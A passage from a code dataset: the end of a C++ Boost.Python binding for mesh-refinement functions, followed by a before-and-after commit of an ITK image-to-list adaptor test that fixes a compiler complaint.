nz, spfp_storarr_t dx, spfp_storarr_t dy, spfp_storarr_t dz,\n\t\t\tfp_t x0)\n\t{\n\t\treturn T::gen_coord_zcorn(nx, ny, nz, dx, dy, dz, x0);\n\t}\n\tstatic coord_zcorn_pair gen_coord_zcorn3(int_t nx, int_t ny, int_t nz, spfp_storarr_t dx, spfp_storarr_t dy, spfp_storarr_t dz)\n\t{\n\t\treturn T::gen_coord_zcorn(nx, ny, nz, dx, dy, dz);\n\t}\n\n\t\/\/ refine_mesh_deltas with overloads\n\tstatic tuple refine_mesh_deltas(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t points,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh_deltas(nx, ny, coord, points, hit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh_deltas1(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t points) {\n\t\treturn refine_mesh_deltas(nx, ny, coord, points);\n\t}\n\tstatic tuple refine_mesh_deltas2(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t points, fp_t m_thresh) {\n\t\treturn refine_mesh_deltas(nx, ny, coord, points, m_thresh);\n\t}\n\n\t\/\/ refine_mesh with overloads\n\tstatic tuple refine_mesh(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn, spfp_storarr_t points,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh(nx, ny, coord, zcorn, points, hit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh1(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn, spfp_storarr_t points) {\n\t\treturn refine_mesh(nx, ny, coord, zcorn, points);\n\t}\n\tstatic tuple refine_mesh2(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn, spfp_storarr_t points, fp_t m_thresh) {\n\t\treturn refine_mesh(nx, ny, coord, zcorn, points, m_thresh);\n\t}\n\n\t\/\/ refine_mesh_deltas with overloads\n\t\/\/ (i,j) points format\n\tstatic tuple refine_mesh_deltas_ij(int_t nx, int_t ny, spfp_storarr_t coord,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh_deltas(nx, ny, coord, points_pos, points_param,\n\t\t\t\thit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh_deltas_ij1(int_t nx, int_t ny, spfp_storarr_t coord,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param)\n\t{\n\t\treturn refine_mesh_deltas_ij(nx, ny, coord, points_pos, points_param);\n\t}\n\n\tstatic tuple refine_mesh_deltas_ij2(int_t nx, int_t ny, spfp_storarr_t coord,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param, fp_t m_thresh)\n\t{\n\t\treturn refine_mesh_deltas_ij(nx, ny, coord, points_pos, points_param, m_thresh);\n\t}\n\n\t\/\/ refine_mesh with overloads\n\t\/\/ (i, j) points format\n\tstatic tuple refine_mesh_ij(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param,\n\t\t\tfp_t m_thresh = DEF_CELL_MERGE_THRESHOLD, fp_t b_thresh = DEF_BAND_THRESHOLD)\n\t{\n\t\tspi_arr_t hit_idx = BS_KERNEL.create_object(int_arr_t::bs_type());\n\t\tstd::pair< spfp_storarr_t, spfp_storarr_t > r = T::refine_mesh(nx, ny, coord, zcorn, points_pos, points_param,\n\t\t\t\thit_idx, m_thresh, b_thresh);\n\t\treturn make_tuple(r.first, r.second, nx, ny, hit_idx);\n\t}\n\n\tstatic tuple refine_mesh_ij1(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param)\n\t{\n\t\treturn refine_mesh_ij(nx, ny, coord, zcorn, points_pos, points_param);\n\t}\n\n\tstatic tuple refine_mesh_ij2(int_t nx, int_t ny, spfp_storarr_t coord, spfp_storarr_t zcorn,\n\t\t\tspi_arr_t points_pos, spfp_storarr_t points_param, fp_t m_thresh)\n\t{\n\t\treturn refine_mesh_ij(nx, ny, coord, zcorn, points_pos, points_param, m_thresh);\n\t}\n\n\ttemplate <typename class_t>\n\tstatic class_t &\n\texport_class (class_t &class__) {\n\t\tusing namespace boost::python;\n\n\t\tmesh_grdecl_exporter<T>::export_class (class__)\n\t\t\t.def(\"gen_coord_zcorn\", &T::gen_coord_zcorn, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.def(\"gen_coord_zcorn\", &gen_coord_zcorn1, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.def(\"gen_coord_zcorn\", &gen_coord_zcorn2, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.def(\"gen_coord_zcorn\", &gen_coord_zcorn3, \"Generate COORD & ZCORN from given dimensions\")\n\t\t\t.staticmethod(\"gen_coord_zcorn\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas1, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas2, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas_ij, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas_ij1, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.def(\"refine_mesh_deltas\", &refine_mesh_deltas_ij2, \"Calc dx and dy arrays for refined mesh in given points\")\n\t\t\t.staticmethod(\"refine_mesh_deltas\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh1, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh2, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh_ij, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh_ij1, \"Refine existing mesh in given points\")\n\t\t\t.def(\"refine_mesh\", &refine_mesh_ij2, \"Refine existing mesh in given points\")\n\t\t\t.staticmethod(\"refine_mesh\")\n\t\t\t;\n\t\treturn class__;\n\t}\n};\n\ntemplate< class fp_type >\nvoid reg_sparray_pair() {\n\t\/\/ register converter from pair of returned arrayes to python list\n\ttypedef std::pair< spv_float, spv_float > array_pair;\n\ttypedef bspy_converter< pair_traits< array_pair > > array_pair_converter;\n\tarray_pair_converter::register_to_py();\n\tarray_pair_converter::register_from_py();\n}\n\n} \/\/ eof hidden namespace\n\nnamespace blue_sky { namespace python {\n\nvoid py_export_mesh_grdecl () {\n\tclass_exporter< bs_mesh_grdecl, rs_mesh_iface, mesh_grdecl_exporter_plus >::export_class (\"mesh_grdecl\");\n\t\/\/reg_sparray_pair< float >();\n\treg_sparray_pair< double >();\n}\n\n}} \/\/ namespace blue_sky::python\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkDummyImageToListAdaptorTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 2002 Insight Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include <time.h>\n\n#include \"itkFixedArray.h\"\n#include \"itkImage.h\"\n#include \"itkImageAdaptor.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkPixelTraits.h\"\n\n#include \"itkListSampleBase.h\"\n#include \"itkImageToListAdaptor.h\"\n#include \"itkScalarToArrayCastImageFilter.h\"\n\n#include \"itkImage.h\"\n#include \"itkObject.h\"\n#include \"itkMacro.h\"\n#include \"itkPixelTraits.h\"\n\ntemplate<class TPixelType>\nstruct MeasurementVectorTraits\n{\n typedef TPixelType VectorType;\n};\n\n\/** Specialization of MeasurementVectorTraitss for scalar images. *\/\ntemplate <>\nstruct MeasurementVectorTraits<bool>\n{\n typedef itk::FixedArray< bool, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<char>\n{\n typedef itk::FixedArray< char, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<unsigned char>\n{\n typedef itk::FixedArray< unsigned char, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<short>\n{\n typedef itk::FixedArray< short, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<unsigned short>\n{\n typedef itk::FixedArray< unsigned short, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<int>\n{\n typedef itk::FixedArray< int, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<unsigned int>\n{\n typedef itk::FixedArray< unsigned int, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<long>\n{\n typedef itk::FixedArray< long, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<unsigned long>\n{\n typedef itk::FixedArray< unsigned long, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<float>\n{\n typedef itk::FixedArray< float, 1 > VectorType;\n};\n\ntemplate <>\nstruct MeasurementVectorTraits<double>\n{\n typedef itk::FixedArray< double, 1 > VectorType;\n};\n\ntemplate < class TImage, class TMeasurementVector = ITK_TYPENAME TImage::PixelType >\nclass ITK_EXPORT DummyImageToListAdaptor : \n public itk::Statistics::ListSampleBase< TMeasurementVector >\n{\npublic:\n typedef DummyImageToListAdaptor Self ;\n typedef itk::Statistics::ListSampleBase< TMeasurementVector > Superclass ;\n\n typedef itk::SmartPointer< Self > Pointer ;\n typedef itk::SmartPointer< const Self > ConstPointer ;\n\n itkTypeMacro( DummyImageToListAdaptor, Object ) ;\n itkNewMacro( Self ) ;\n\n typedef typename TImage::PixelType PixelType ;\n typedef typename itk::PixelTraits< PixelType >::ValueType MeasurementType ;\n itkStaticConstMacro( MeasurementVectorSize, unsigned int, \n itk::PixelTraits< PixelType >::Dimension ) ;\n\n typedef TMeasurementVector MeasurementVectorType ;\n\n unsigned int Size() const \n { return 1 ;} \n \n float GetTotalFrequency() const \n { return 1 ;}\n \n float GetFrequency(const unsigned long& id) const\n { return 1.0f ; }\n\n virtual MeasurementVectorType GetMeasurementVector(const unsigned long& id)\n {\n if( m_UseBuffer )\n {\n return *(reinterpret_cast< MeasurementVectorType* >\n (&(*m_ImageBuffer)[id])) ;\n }\n else\n {\n return *(reinterpret_cast< MeasurementVectorType* >\n (&(m_Image->GetPixel( m_Image->ComputeIndex( id ))) ) ) ;\n }\n }\n \n void SetImage( TImage* image ) \n {\n m_Image = image ;\n m_ImageBuffer = m_Image->GetPixelContainer() ;\n if ( strcmp( m_Image->GetNameOfClass(), \"Image\" ) != 0 ) \n {\n m_UseBuffer = false ;\n }\n else\n { \n m_UseBuffer = true ;\n }\n }\n\nprotected:\n DummyImageToListAdaptor()\n { m_Image = 0 ; }\n \n virtual ~DummyImageToListAdaptor() {}\n\n typename TImage::Pointer m_Image ;\n typename TImage::PixelContainer* m_ImageBuffer ;\n MeasurementVectorType m_TempVector ;\n bool m_UseBuffer ;\n\nprivate:\n DummyImageToListAdaptor(const Self&) ; \n void operator=(const Self&) ;\n\n} ;\n\n\ntemplate < class TImage >\nclass ITK_EXPORT DummyScalarImageToListAdaptor : \n public DummyImageToListAdaptor< TImage, itk::FixedArray< typename TImage::PixelType, 1> >\n{\npublic:\n typedef DummyScalarImageToListAdaptor Self ;\n typedef DummyImageToListAdaptor< \n TImage, itk::FixedArray< typename TImage::PixelType, 1> > Superclass ;\n\n typedef itk::SmartPointer< Self > Pointer ;\n typedef itk::SmartPointer< const Self > ConstPointer ;\n\n itkTypeMacro( DummyScalarImageToListAdaptor, DummyImageToListAdaptor ) ;\n itkNewMacro( Self ) ;\n\n typedef typename Superclass::MeasurementVectorType MeasurementVectorType ;\n\n MeasurementVectorType GetMeasurementVector(const unsigned long& id)\n {\n if( m_UseBuffer )\n {\n m_TempVector[0] = (*m_ImageBuffer)[id] ;\n }\n else\n {\n m_TempVector[0] = m_Image->GetPixel( m_Image->ComputeIndex( id ) ) ;\n }\n return m_TempVector ;\n }\nprotected:\n DummyScalarImageToListAdaptor() {}\n virtual ~DummyScalarImageToListAdaptor() {}\n} ; \/\/ end of class \n\ntemplate< class TImage, class TCoordRep >\nstruct ImageJointDomainTraits\n{\n typedef itk::PixelTraits< typename TImage::PixelType > PixelTraitsType ;\n itkStaticConstMacro(Size, \n unsigned int, \n TImage::ImageDimension +\n PixelTraitsType::Dimension ) ;\n typedef itk::JoinTraits<\n TCoordRep, \n PixelTraitsType::ValueType > JoinTraitsType ;\n\n typedef JoinTraitsType::ValueType MeasurementType ;\n\n typedef itk::FixedArray< MeasurementType, itkGetStaticConstMacro(Size) >\n MeasurementVectorType ;\n} ; \/\/ end of ImageJointDomainTraits\n\ntemplate < class TImage, class TCoordRep >\nclass ITK_EXPORT DummyJointDomainImageToListAdaptor : \n public DummyImageToListAdaptor< TImage,\n ImageJointDomainTraits< \n TImage, TCoordRep >::MeasurementVectorType >\n{\npublic:\n typedef DummyJointDomainImageToListAdaptor Self ;\n typedef DummyImageToListAdaptor< TImage,\n ImageJointDomainTraits< TImage, TCoordRep >::MeasurementVectorType > \n Superclass ;\n \n typedef itk::SmartPointer< Self > Pointer ;\n typedef itk::SmartPointer< const Self > ConstPointer ;\n\n itkTypeMacro( DummyJointDomainImageToListAdaptor, DummyImageToListAdaptor ) ;\n itkNewMacro( Self ) ;\n\n typedef typename Superclass::MeasurementType MeasurementType ;\n typedef typename Superclass::MeasurementVectorType MeasurementVectorType ;\n\n typedef itk::FixedArray< MeasurementType, \n itk::PixelTraits< typename TImage::PixelType >::Dimension > \n RangeDomainMeasurementVectorType ;\n \n MeasurementVectorType GetMeasurementVector(const unsigned long& id)\n {\n typename itk::Point<MeasurementType, TImage::ImageDimension> point ;\n typename TImage::IndexType index = m_Image->ComputeIndex( id ) ;\n m_Image->TransformIndexToPhysicalPoint( index, point ) ;\n \n for ( unsigned int i = 0 ; i < TImage::ImageDimension ; ++i )\n {\n m_TempVector[i] = point[i] ;\n }\n\n if( m_UseBuffer )\n {\n m_TempVector2 = \n *(reinterpret_cast< RangeDomainMeasurementVectorType* >\n (&(*m_ImageBuffer)[id])) ;\n }\n else\n {\n m_TempVector2 = \n *(reinterpret_cast< RangeDomainMeasurementVectorType* >\n (&(m_Image->GetPixel( m_Image->ComputeIndex( id ) ) ) ) ) ;\n }\n\n for ( unsigned int i = TImage::ImageDimension ; i < MeasurementVectorType::Length ; ++i )\n {\n m_TempVector[i]= m_TempVector2[i - TImage::ImageDimension] ;\n }\n return m_TempVector ;\n }\nprotected:\n DummyJointDomainImageToListAdaptor() {}\n virtual ~DummyJointDomainImageToListAdaptor() {}\n RangeDomainMeasurementVectorType m_TempVector2 ;\n} ; \/\/ end of class \n\nint itkDummyImageToListAdaptorTest(int, char* [] ) \n{\n typedef int ScalarPixelType ;\n typedef itk::FixedArray< ScalarPixelType, 1 > ArrayPixelType ;\n typedef itk::Vector< ScalarPixelType, 2 > VectorPixelType ;\n\n typedef itk::Image< ScalarPixelType, 3 > ScalarImageType ;\n typedef itk::Image< ArrayPixelType, 3 > ArrayImageType ;\n typedef itk::Image< VectorPixelType, 3 > VectorImageType ;\n\n typedef itk::ImageRegionIterator< ScalarImageType > ScalarImageIteratorType ;\n typedef itk::ImageRegionIterator< ArrayImageType > ArrayImageIteratorType ;\n typedef itk::ImageRegionIterator< VectorImageType > VectorImageIteratorType ;\n\n itk::Size< 3 > size ;\n size.Fill(10) ;\n\n ScalarImageType::Pointer scalarImage = ScalarImageType::New() ;\n scalarImage->SetRegions(size) ;\n scalarImage->Allocate() ;\n\n int count = 0 ;\n ScalarImageIteratorType s_iter = \n ScalarImageIteratorType(scalarImage, \n scalarImage->GetLargestPossibleRegion() ) ;\n while ( !s_iter.IsAtEnd() )\n {\n s_iter.Set(count) ;\n ++count ;\n ++s_iter ;\n }\n\n VectorImageType::Pointer vectorImage = VectorImageType::New() ;\n vectorImage->SetRegions(size) ;\n vectorImage->Allocate() ;\n count = 0 ;\n VectorImageType::PixelType vPixel ;\n VectorImageIteratorType v_iter = \n VectorImageIteratorType(vectorImage,\n vectorImage->GetLargestPossibleRegion()) ;\n while ( !v_iter.IsAtEnd() )\n {\n vPixel[0] = count ;\n vPixel[1] = count ;\n v_iter.Set( vPixel ) ;\n ++count ;\n ++v_iter ;\n }\n\n typedef DummyScalarImageToListAdaptor< ScalarImageType > ScalarListType ;\n ScalarListType::Pointer sList = ScalarListType::New() ;\n sList->SetImage( scalarImage ) ;\n\n typedef DummyImageToListAdaptor< VectorImageType > VectorListType ;\n VectorListType::Pointer vList = VectorListType::New() ;\n vList->SetImage( vectorImage ) ;\n\n typedef itk::ScalarToArrayCastImageFilter< ScalarImageType, ArrayImageType > CasterType ;\n CasterType::Pointer caster = CasterType::New() ;\n caster->SetInput( scalarImage ) ;\n caster->Update() ;\n\n typedef itk::Statistics::ImageToListAdaptor< ArrayImageType > ImageListType ;\n ImageListType::Pointer imageList = ImageListType::New() ;\n imageList->SetImage( caster->GetOutput() ) ;\n\n typedef DummyJointDomainImageToListAdaptor< VectorImageType, \n float > JointDomainImageListType ;\n JointDomainImageListType::Pointer jointDomainImageList = \n JointDomainImageListType::New() ;\n jointDomainImageList->SetImage( vectorImage ) ;\n\n std::cout << \"Testing the each measurement values:\" << std::endl ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n if ( sList->GetMeasurementVector( i )[0] != \n vList->GetMeasurementVector( i )[0] \n || sList->GetMeasurementVector( i )[0] != \n imageList->GetMeasurementVector( i )[0] \n || sList->GetMeasurementVector( i )[0] != \n jointDomainImageList->GetMeasurementVector( i )[3] \n )\n {\n std::cout << \"ERROR: measurement mismatch!!!\" << std::endl ;\n return EXIT_FAILURE ;\n }\n }\n std::cout << std::endl ;\n\n \n std::cout << \"Scalar image (casted) pixel access performance test:\" << std::endl ;\n time_t begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n imageList->GetMeasurementVector( i ) ;\n }\n time_t end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC)\n << \" seconds\" << std::endl ;\n\n std::cout << \"Scalar image pixel access performance test:\" << std::endl ;\n begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n sList->GetMeasurementVector( i ) ;\n }\n end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC) \n << \" seconds\" << std::endl ;\n\n std::cout << \"Vector image pixel access performance test:\" << std::endl ;\n begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n vList->GetMeasurementVector( i ) ;\n }\n end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC) \n << \" seconds\" << std::endl ;\n\n std::cout << \"Joint Domain Vector image pixel access performance test:\" << std::endl ;\n begin = clock() ;\n for ( unsigned long i = 0 ; i < size[0] * size[1] * size[2] ; ++i )\n {\n std::cout << jointDomainImageList->GetMeasurementVector( i ) \n << std::endl ;\n }\n end = clock() ;\n\n std::cout << \"time: \" \n << (double(end - begin) \/CLOCKS_PER_SEC) \n << \" seconds\" << std::endl ;\n\n return EXIT_SUCCESS ;\n}\n<commit_msg>BUG: BCC complains about the Size enum. to use itkGetStaticConstMacro, each class should have Self declared.<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkDummyImageToListAdaptorTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) 2002 Insight Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include <time.h>\n\n#include \"itkFixedArray.h\"\n#include \"itkImage.h\"\n#include \"itkImageAdaptor.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkPixelTraits.h\"\n\n#include \"itkListSampleBase.h\"\n#include \"itkImageToListAdaptor.h\"\n#include \"itkScalarToArrayCastImageFilter.h\"\n\n#include \"itkImage.h\"\n#include \"itkObject.h\"\n#include \"itkMacro.h\"\n#include \"itkPixelTraits.h\"\n\ntemplate < class TImage, class TMeasurementVector = ITK_TYPENAME TImage::PixelType >\nclass ITK_EXPORT DummyImageToListAdaptor : \n public itk::Statistics::ListSampleBase< TMeasurementVector >\n{\npublic:\n typedef DummyImageToListAdaptor Self ;\n typedef itk::Statistics::ListSampleBase< TMeasurementVector > Superclass ;\n\n typedef itk::SmartPointer< Self > Pointer ;\n typedef itk::SmartPointer< const Self > ConstPointer ;\n\n itkTypeMacro( DummyImageToListAdaptor, Object ) ;\n itkNewMacro( Self ) ;\n\n typedef typename TImage::PixelType PixelType ;\n typedef typename itk::PixelTraits< PixelType >::ValueType MeasurementType ;\n itkStaticConstMacro( MeasurementVectorSize, unsigned int, \n itk::PixelTraits< PixelType >::Dimension ) ;\n\n typedef TMeasurementVector MeasurementVectorType ;\n\n unsigned int Size() const \n { return 1 ;} \n \n float GetTotalFrequency() const \n { return 1 ;}\n \n float GetFrequency(const unsigned long& id) const\n { return id ; }\n\n virtual MeasurementVectorType GetMeasurementVector(const unsigned long& id)\n {\n if( m_UseBuffer )\n {\n return *(reinterpret_cast< MeasurementVectorType* >\n (&(*m_ImageBuffer)[id])) ;\n }\n else\n {\n return *(reinterpret_cast< MeasurementVectorType* >\n (&(m_Image->GetPixel( m_Image->ComputeIndex( id ))) ) ) ;\n }\n }\n \n void SetImage( TImage* image ) \n {\n m_Image = image ;\n m_ImageBuffer = m_Image->GetPixelContainer() ;\n if ( strcmp( m_Image->GetNameOfClass(), \"Image\" ) != 0 ) \n {\n m_UseBuffer = false ;\n }\n else\n { \n m_UseBuffer = true ;\n }\n }\n\nprotected:\n DummyImageToListAdaptor()\n { m_Image = 0 ; }\n \n virtual ~DummyImageToListAdaptor() {}\n\n typename TImage::Pointer m_Image ;\n typename TImage::PixelContainer* m_ImageBuffer ;\n MeasurementVectorType m_TempVector ;\n bool m_UseBuffer ;\n\nprivate:\n DummyImageToListAdaptor(const Self&) ; \n void operator=(const Self&) ;\n\n} ;\n\n\ntemplate < class TImage >\nclass ITK_EXPORT DummyScalarImageToListAdaptor : \n public DummyImageToListAdaptor< TImage, itk::FixedArray< typename TImage::PixelType, 1> >\n{\npublic:\n typedef DummyScalarImageToListAdaptor Self ;\n typedef DummyImageToListAdaptor< \n TImage, itk::FixedArray< typename TImage::PixelType, 1> > Superclass ;\n\n typedef itk::SmartPointer< Self > Pointer ;\n typedef itk::SmartPointer< const Self > ConstPointer ;\n\n itkTypeMacro( DummyScalarImageToListAdaptor, DummyImageToListAdaptor ) ;\n itkNewMacro( Self ) ;\n\n typedef typename Superclass::MeasurementVectorType MeasurementVectorType ;\n\n MeasurementVectorType GetMeasurementVector(const unsigned long& id)\n {\n if( m_UseBuffer )\n {\n m_TempVector[0] = (*m_ImageBuffer)[id] ;\n }\n else\n {\n m_TempVector[0] = m_Image->GetPixel( m_Image->ComputeIndex( id ) ) ;\n }\n return m_TempVector ;\n }\nprotected:\n DummyScalarImageToListAdaptor() {}\n virtual ~DummyScalarImageToListAdaptor() {}\n} ; \/\/ end of class \n\ntemplate< class TImage, class TCoordRep >\nstruct ImageJointDomainTraits\n{\n typedef ImageJointDomainTraits Self ;\n\n typedef itk::PixelTraits< typename TImage::PixelType > PixelTraitsType ;\n itkStaticConstMacro(Size, \n unsigned int, \n TImage::ImageDimension +\n PixelTraitsType::Dimension ) ;\n typedef itk::JoinTraits<\n TCoordRep, \n PixelTraitsType::ValueType > JoinTraitsType ;\n\n typedef JoinTraitsType::ValueType MeasurementType ;\n\n typedef itk::FixedArray< MeasurementType, itkGetStaticConstMacro(Size) >\n MeasurementVectorType ;\n} ; \/\/ end of ImageJointDomainTraits\n\ntemplate < class TImage, class TCoordRep >\nclass ITK_EXPORT DummyJointDomainImageToListAdaptor : \n public DummyImageToListAdaptor< TImage,\n ImageJointDomainTraits< \n TImage, TCoordRep >::MeasurementVectorType >\n{\npublic:\n typedef DummyJointDomainImageToListAdaptor Self ;\n typedef DummyImageToListAdaptor< TImage,\n ImageJointDomainTraits< TImage, TCoordRep >::MeasurementVectorType > \n Superclass ;\n \n typedef itk::SmartPointer< Self > Pointer ;\n typedef itk::SmartPointer< const Self > ConstPointer ;\n\n itkTypeMacro( DummyJointDomainImageToListAdaptor, DummyImageToListAdaptor ) ;\n itkNewMacro( Self ) ;\n\n typedef typename Superclass::MeasurementType MeasurementType ;\n typedef typename Superclass::MeasurementVectorType MeasurementVectorType ;\n\n itkStaticConstMacro(RangeDomainDimension, \n unsigned int, \n itk::PixelTraits< \n typename TImage::PixelType >::Dimension) ;\n typedef typename itk::FixedArray< \n MeasurementType, \n itkGetStaticConstMacro( RangeDomainDimension ) > \n RangeDomainMeasurementVectorType ;\n \n MeasurementVectorType GetMeasurementVector(const unsigned long& id)\n {\n typename itk::Point<MeasurementType, TImage::ImageDimension> point ;\n typename TImage::IndexType index = m_Image->ComputeIndex( id ) ;\n m_Image->TransformIndexToPhysicalPoint( index, point ) ;\n \n for ( unsigned int i = 0 ; i < TImage::ImageDimension ; ++i )\n {\n m_TempVector[i] = point[i] ;\n }\n\n if( m_UseBuffer )\n {\n m_TempVector2 = \n *(reinterpret_cast< RangeDomainMeasurementVectorType* >\n (&(*m_ImageBuffer)[id])) ;\n }\n else\n {\n m_TempVector2 = \n *(reinterpret_cast< RangeDomainMeasurementVectorType* >\n (&(m_Image->GetPixel( m_Image->ComputeIndex( id ) ) ) ) ) ;\n }\n\n for ( unsigned int i = TImage::ImageDimension ; i < MeasurementVectorType::Length ; ++i )\n {\n m_TempVector[i]= m_TempVector2[i - TImage::ImageDimension] ;\n }\n return m_TempVector ;\n }\nprotected:\n DummyJointDomainImageToListAdaptor() {}\n virtual ~DummyJointDomainImageToListAdaptor() {}\n RangeDomainMeasurementVectorType m_TempVector2 ;\n} ; \/\/ end of class \n\nint itkDummyImageToListAdaptorTest(int, char* [] ) \n{\n typedef int ScalarPixelType ;\n typedef itk::FixedArray< ScalarPixelType, 1 > ArrayPixelType ;\n typedef itk::Vector< ScalarPixelType, 2 > VectorPixelType ;\n\n typedef itk::Image< ScalarPixelType, 3 > ScalarImageType ;\n typedef itk::Image< ArrayPixelType, 3 > ArrayImageType ;\n typedef itk::Image< VectorPixelType, 3 > VectorImageType ;\n\n typedef itk::ImageRegionIterator< ScalarImageType > ScalarImageIteratorType ;\n typedef itk::ImageRegionIterator< ArrayImageType > ArrayImageIteratorType ;\n typedef itk::ImageRegionIterator< VectorImageType > VectorImageIteratorType ;\n\n itk::Size< 3 > size ;\n size.Fill(10) ;\n\n ScalarImageType::Pointer scalarImage = ScalarImageType::New() ;\n scalarImage->SetRegions(size) ;\n scalarImage->Allocate() ;\n\n int count = 0 ;\n ScalarImageIteratorType s_iter = \n ScalarImageIteratorType(scalarImage, \n scalarImage->GetLargestPossibleRegion() ) ;\n while ( !s_iter.IsAtEnd() )\n {\n s_iter.Set(count) ;\n ++count ;\n ++s_iter ;\n }\n\n VectorImageType::Pointer vectorImage = VectorImageType::New() ;\n vectorImage->SetRegions(size) ;\n vectorImage->Allocate() ;\n count = 0 ;\n VectorImageType::PixelType vPixel ;\n VectorImageIteratorType v_iter = \n VectorImageIteratorType(vectorImage,\n vectorImage->GetLargestPossibleRegion()) ;\n while ( !v_iter.IsAtEnd() )\n {\n vPixel[0] = count ;\n vPixel[1] = count ;\n v_iter.Set( vPixel ) ;\n ++count ;\n ++v_iter ;\n }\n\n typedef DummyScalarImageToListAdaptor< ScalarImageType > ScalarListType ;\n ScalarListType::Pointer sList = ScalarListType::New() ;\n sList->SetImage( scalarImage ) ;\n\n typedef DummyImageToListAdaptor< VectorImageType > VectorListType ;\n VectorListType::Pointer vList = VectorListType::New() ;\n vList->SetImage( vectorImage ) ;\n\n typedef itk::ScalarToArrayCastImageFilter< ScalarImageType, ArrayImageType > CasterType ;\n 